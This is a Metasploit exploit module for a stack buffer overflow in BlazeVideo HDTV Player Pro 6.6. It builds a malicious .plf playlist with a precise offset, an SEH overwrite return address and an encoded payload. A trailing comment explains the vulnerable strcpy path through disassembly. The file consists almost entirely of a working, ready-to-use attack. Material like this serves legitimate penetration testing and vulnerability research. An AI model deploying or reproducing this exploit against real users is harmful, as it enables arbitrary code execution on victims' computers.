blazedvd_hdtv_bof.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability",
        'Description' => %q{
          This module exploits a vulnerability found in BlazeVideo HDTV Player's filename
          handling routine.  When supplying a string of input data embedded in a .plf file,
          the MediaPlayerCtrl.dll component will try to extract a filename by using
          PathFindFileNameA(), and then copies whatever the return value is on the stack by
          using an inline strcpy.  As a result, if this input data is long enough, it can cause
          a stack-based buffer overflow, which may lead to arbitrary code execution under the
          context of the user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'b33f', # Original
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2012-10031'],
          ['OSVDB', '80896'],
          ['EDB', '18693'],
          ['EDB', '22931']
        ],
        'Payload' => {
          'BadChars' => "\x00\x0a\x1a\x2f\x3a\x5c",
          'StackAdjustment' => -3500
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Targets' => [
          # MediaPlayerCtrl.dll P/P/R
          # Tested on: Windows 7 SP1/SP0, Windows XP SP3 / Windows Vista SP2/SP1/SP0
          ['BlazeVideo HDTV Player Pro v6.6.0.3', { 'Ret' => 0x64020327, 'Offset' => 868 }]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-04-03',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf'])
      ]
    )
  end

  def exploit
    buf = 'http://'
    buf << rand_text_alpha_upper(target['Offset'])
    buf << generate_seh_record(target.ret)
    buf << payload.encoded
    buf << rand_text_alpha(5000 - buf.length)

    print_status("Creating '#{datastore['FILENAME']}'...")
    file_create(buf)
  end
end

=begin
Version: HDTV Player Professional v6.6

In MediaPlayerCtrl.dll (File version: 2.0.0.2; Product version: 2.0.0.2)
.text:6400E574                 mov     eax, [esp+138h+Source]
.text:6400E578                 mov     edx, [ebp+0ECh]
.text:6400E57E                 push    eax
.text:6400E57F                 push    eax             ; pszPath  <-- Our URL
.text:6400E580                 mov     edi, [edx]
.text:6400E582                 call    ebx ; PathFindFileNameA
.text:6400E584                 mov     ecx, [ebp+0ECh]
.text:6400E58A                 push    eax             ; File path to copy
.text:6400E58B                 push    esi
.text:6400E58C                 push    1
.text:6400E58E                 call    dword ptr [edi] ; 0x6400f1f0

0x6400F1F0 (no length check either) goes down to 0x6400F670:

int __thiscall sub_6400F670(int this, int a2, int a3, const char *source, const char *a5)
{
  ...

  v5 = this;
  if ( a2 && source && a5 )
  {
    memset(&buffer, 0, '\x02\x10');
    v16 = *(this + 4);
    *(this + 4) = v16 + 1;
    v18 = a3;
    buffer = a2;
    strcpy(&Dest2, source);  // <-- This is a rep movs
=end